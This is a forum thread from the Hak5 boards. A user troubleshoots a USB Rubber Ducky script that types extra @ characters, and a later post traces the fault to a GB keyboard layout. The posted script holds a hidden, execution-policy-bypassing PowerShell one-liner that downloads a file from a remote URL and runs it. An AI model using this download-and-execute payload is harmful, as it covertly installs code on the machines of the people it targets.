Jump to content
Hak5 Forums
Sign in to follow this  

Ducky USB - Script adding @ after STRING

Recommended Posts

I currently have a ducky USB inject.bin encoded with https://ducktoolkit.com/
containing the following code (Modified):

DELAY 2000
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:/url.org/sub/file.zip',\"$env:temp\file.exe\"); Start-Process \"$env:temp\file.exe\""

This code is from the GitHub and it should download and execute.
When I execute the code manually it works normal.
But when I run it from the Ducky USB it doesn't...
When its in the Windows Run box I see that after the STRING is typed there are @ @ entered after the string.
I think this is the problem and I don't know how I could fix this.

Could you please help me.

Share this post

Link to post
Share on other sites

I'm sorry for wasting a post.
The problem was keyboard input it was on GB but I needed US

Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.